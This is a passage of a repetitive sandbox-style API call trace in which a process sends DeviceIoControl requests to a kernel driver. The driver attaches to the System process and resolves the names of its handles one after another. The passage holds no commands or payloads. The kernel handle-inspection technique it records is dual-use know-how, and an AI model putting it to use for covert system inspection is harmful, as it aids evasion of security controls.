lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.122] PsAcquireProcessExitSynchronization () returned 0x0 [0130.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.122] ObReferenceObjectByHandle (in: Handle=0xffffffff80000730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800342a2b0, HandleInformation=0x0) returned 0x0 [0130.122] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.122] PsReleaseProcessExitSynchronization () returned 0x2 [0130.122] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.122] ObQueryNameString (in: Object=0xfffffa800342a2b0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.122] ObfDereferenceObject (Object=0xfffffa800342a2b0) returned 0x2 [0130.122] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.122] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.122] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.122] PsAcquireProcessExitSynchronization () returned 0x0 [0130.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.122] ObReferenceObjectByHandle (in: Handle=0xffffffff80000734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022f8860, HandleInformation=0x0) returned 0x0 [0130.122] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.122] PsReleaseProcessExitSynchronization () returned 0x2 [0130.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.123] ObQueryNameString (in: Object=0xfffffa80022f8860, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.123] ObfDereferenceObject (Object=0xfffffa80022f8860) returned 0x2 [0130.123] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.123] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.123] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.123] PsAcquireProcessExitSynchronization () returned 0x0 [0130.123] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.123] ObReferenceObjectByHandle (in: Handle=0xffffffff8000073c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f5890, HandleInformation=0x0) returned 0x0 [0130.123] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.123] PsReleaseProcessExitSynchronization () returned 0x2 [0130.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.123] ObQueryNameString (in: Object=0xfffffa80037f5890, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.123] ObfDereferenceObject (Object=0xfffffa80037f5890) returned 0x2 [0130.123] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.123] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.123] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.123] PsAcquireProcessExitSynchronization () returned 0x0 [0130.123] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.123] ObReferenceObjectByHandle (in: Handle=0xffffffff80000740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002b6f3e0, HandleInformation=0x0) returned 0x0 [0130.123] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.123] PsReleaseProcessExitSynchronization () returned 0x2 [0130.123] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.123] ObQueryNameString (in: Object=0xfffffa8002b6f3e0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.123] ObfDereferenceObject (Object=0xfffffa8002b6f3e0) returned 0x2 [0130.123] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.123] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.123] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.123] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.123] PsAcquireProcessExitSynchronization () returned 0x0 [0130.124] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.124] ObReferenceObjectByHandle (in: Handle=0xffffffff80000748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003421680, HandleInformation=0x0) returned 0x0 [0130.124] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.124] PsReleaseProcessExitSynchronization () returned 0x2 [0130.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.124] ObQueryNameString (in: Object=0xfffffa8003421680, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.124] ObfDereferenceObject (Object=0xfffffa8003421680) returned 0x2 [0130.124] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.124] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.124] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.124] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.124] PsAcquireProcessExitSynchronization () returned 0x0 [0130.124] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.124] ObReferenceObjectByHandle (in: Handle=0xffffffff8000074c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800200a7c0, HandleInformation=0x0) returned 0x0 [0130.124] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.124] PsReleaseProcessExitSynchronization () returned 0x2 [0130.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.124] ObQueryNameString (in: Object=0xfffffa800200a7c0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.124] ObfDereferenceObject (Object=0xfffffa800200a7c0) returned 0x2 [0130.124] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.124] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.124] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.124] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.124] PsAcquireProcessExitSynchronization () returned 0x0 [0130.124] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.124] ObReferenceObjectByHandle (in: Handle=0xffffffff80000750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80026316d0, HandleInformation=0x0) returned 0x0 [0130.124] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.124] PsReleaseProcessExitSynchronization () returned 0x2 [0130.124] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.124] ObQueryNameString (in: Object=0xfffffa80026316d0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.124] ObfDereferenceObject (Object=0xfffffa80026316d0) returned 0x2 [0130.124] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.125] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.125] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.125] PsAcquireProcessExitSynchronization () returned 0x0 [0130.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.125] ObReferenceObjectByHandle (in: Handle=0xffffffff80000754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800e8c0f20, HandleInformation=0x0) returned 0x0 [0130.125] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.125] PsReleaseProcessExitSynchronization () returned 0x2 [0130.125] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.125] ObQueryNameString (in: Object=0xfffffa800e8c0f20, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.125] ObfDereferenceObject (Object=0xfffffa800e8c0f20) returned 0x2 [0130.125] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.125] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.125] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.125] PsAcquireProcessExitSynchronization () returned 0x0 [0130.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.125] ObReferenceObjectByHandle (in: Handle=0xffffffff8000075c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800225bdc0, HandleInformation=0x0) returned 0x0 [0130.125] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.125] PsReleaseProcessExitSynchronization () returned 0x2 [0130.125] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.125] ObQueryNameString (in: Object=0xfffffa800225bdc0, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.125] ObfDereferenceObject (Object=0xfffffa800225bdc0) returned 0x2 [0130.125] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.125] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.125] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.125] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.125] PsAcquireProcessExitSynchronization () returned 0x0 [0130.125] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.125] ObReferenceObjectByHandle (in: Handle=0xffffffff80000760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022d26b0, HandleInformation=0x0) returned 0x0 [0130.126] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.126] PsReleaseProcessExitSynchronization () returned 0x2 [0130.126] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.126] ObQueryNameString (in: Object=0xfffffa80022d26b0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.126] ObfDereferenceObject (Object=0xfffffa80022d26b0) returned 0x2 [0130.126] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.126] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.126] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.126] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.126] PsAcquireProcessExitSynchronization () returned 0x0 [0130.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.126] ObReferenceObjectByHandle (in: Handle=0xffffffff8000076c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80026b28a0, HandleInformation=0x0) returned 0x0 [0130.126] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.126] PsReleaseProcessExitSynchronization () returned 0x2 [0130.126] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.126] ObQueryNameString (in: Object=0xfffffa80026b28a0, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.126] ObfDereferenceObject (Object=0xfffffa80026b28a0) returned 0x2 [0130.126] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.126] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.126] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0130.126] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.126] PsAcquireProcessExitSynchronization () returned 0x0 [0130.126] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.126] ObReferenceObjectByHandle (in: Handle=0xffffffff80000770, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fbe760, HandleInformation=0x0) returned 0x0 [0130.126] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.126] PsReleaseProcessExitSynchronization () returned 0x2 [0130.126] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.126] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000508) returned 0x0 [0130.126] ObfDereferenceObject (Object=0xfffffa8002fbe760) returned 0x1 [0130.126] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.126] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.126] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.127] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.127] PsAcquireProcessExitSynchronization () returned 0x0 [0130.127] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.127] ObReferenceObjectByHandle (in: Handle=0xffffffff80000774, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037b5f20, HandleInformation=0x0) returned 0x0 [0130.127] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.127] PsReleaseProcessExitSynchronization () returned 0x2 [0130.127] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.127] ObQueryNameString (in: Object=0xfffffa80037b5f20, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.127] ObfDereferenceObject (Object=0xfffffa80037b5f20) returned 0x2 [0130.127] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.127] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.127] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.127] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.127] PsAcquireProcessExitSynchronization () returned 0x0 [0130.127] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.127] ObReferenceObjectByHandle (in: Handle=0xffffffff80000778, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f3a20, HandleInformation=0x0) returned 0x0 [0130.127] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.127] PsReleaseProcessExitSynchronization () returned 0x2 [0130.127] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.127] ObQueryNameString (in: Object=0xfffffa80037f3a20, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.127] ObfDereferenceObject (Object=0xfffffa80037f3a20) returned 0x2 [0130.127] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.127] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.127] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.128] PsAcquireProcessExitSynchronization () returned 0x0 [0130.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.128] ObReferenceObjectByHandle (in: Handle=0xffffffff8000077c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002890f20, HandleInformation=0x0) returned 0x0 [0130.128] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.128] PsReleaseProcessExitSynchronization () returned 0x2 [0130.128] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.128] ObQueryNameString (in: Object=0xfffffa8002890f20, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.128] ObfDereferenceObject (Object=0xfffffa8002890f20) returned 0x2 [0130.128] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.128] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.128] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.128] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.128] PsAcquireProcessExitSynchronization () returned 0x0 [0130.128] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.128] ObReferenceObjectByHandle (in: Handle=0xffffffff80000784, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, 